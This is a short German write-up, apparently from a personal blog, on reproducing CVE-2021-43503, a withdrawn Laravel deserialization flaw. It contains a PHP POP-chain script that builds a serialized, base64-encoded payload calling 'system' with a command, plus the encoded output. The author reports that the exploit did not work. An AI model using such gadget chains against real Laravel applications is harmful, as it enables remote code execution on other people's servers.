
Fall für CVE-2021-43503
Warnung Die Schwachstelle wurde zurückgezogen
Dieser Beitrag behandelt CVE-2021-43503. Ich kann diese Schwachstelle mit dem exp nicht reproduzieren.
Dienst starten
composer install
cp .env.example .env
php artisan key:generate
php artisan serve # it will listening 8000 port in localhost
POP-Kette kodieren
<?php
namespace Illuminate\Routing{
class PendingResourceRegistration{
protected $registrar;
protected $name;
protected $controller;
protected $options = [];
protected $registered = false;
public function __construct($b){
$this->registrar=$b;
}
}
}
namespace Illuminate\Queue\Capsule{
class Manager{
protected $manager;
public function __construct($c)
{
$this->manager->method=$c;
}
}
}
namespace Mockery{
class ClosureWrapper{
private $closure;
public function __construct(){
$this->closure="system";
}
}
}
namespace{
use Illuminate\Queue\Capsule\Manager;
use Illuminate\Routing\PendingResourceRegistration;
use Mockery\ClosureWrapper;
$c=new ClosureWrapper("mkdir hello");
$b=new Manager($c);
$a=new PendingResourceRegistration($b);
echo base64_encode(serialize($a));
}
Hinweis
Ich habe
urlencode(serialize($a))durchbase64_encode(serialize($a))ersetzt.Und ich habe
dirdurchmkdir helloersetzt, um die erfolgreiche Ausführung von RCE widerzuspiegeln.
Es wird Folgendes ausgegeben (Warnung ignorieren):
Tzo0NjoiSWxsdW1pbmF0ZVxSb3V0aW5nXFBlbmRpbmdSZXNvdXJjZVJlZ2lzdHJhdGlvbiI6NTp7czoxMjoiACoAcmVnaXN0cmFyIjtPOjMyOiJJbGx1bWluYXRlXFF1ZXVlXENhcHN1bGVcTWFuYWdlciI6MTp7czoxMDoiACoAbWFuYWdlciI7Tzo4OiJzdGRDbGFzcyI6MTp7czo2OiJtZXRob2QiO086MjI6Ik1vY2tlcnlcQ2xvc3VyZVdyYXBwZXIiOjE6e3M6MzE6IgBNb2NrZXJ5XENsb3N1cmVXcmFwcGVyAGNsb3N1cmUiO3M6Njoic3lzdGVtIjt9fX1zOjc6IgAqAG5hbWUiO047czoxMzoiACoAY29udHJvbGxlciI7TjtzOjEwOiIAKgBvcHRpb25zIjthOjA6e31zOjEzOiIAKgByZWdpc3RlcmVkIjtiOjA7fQ==
Test über HTTP-GET:

Es wurde hello/ in public/ nicht erfolgreich erstellt.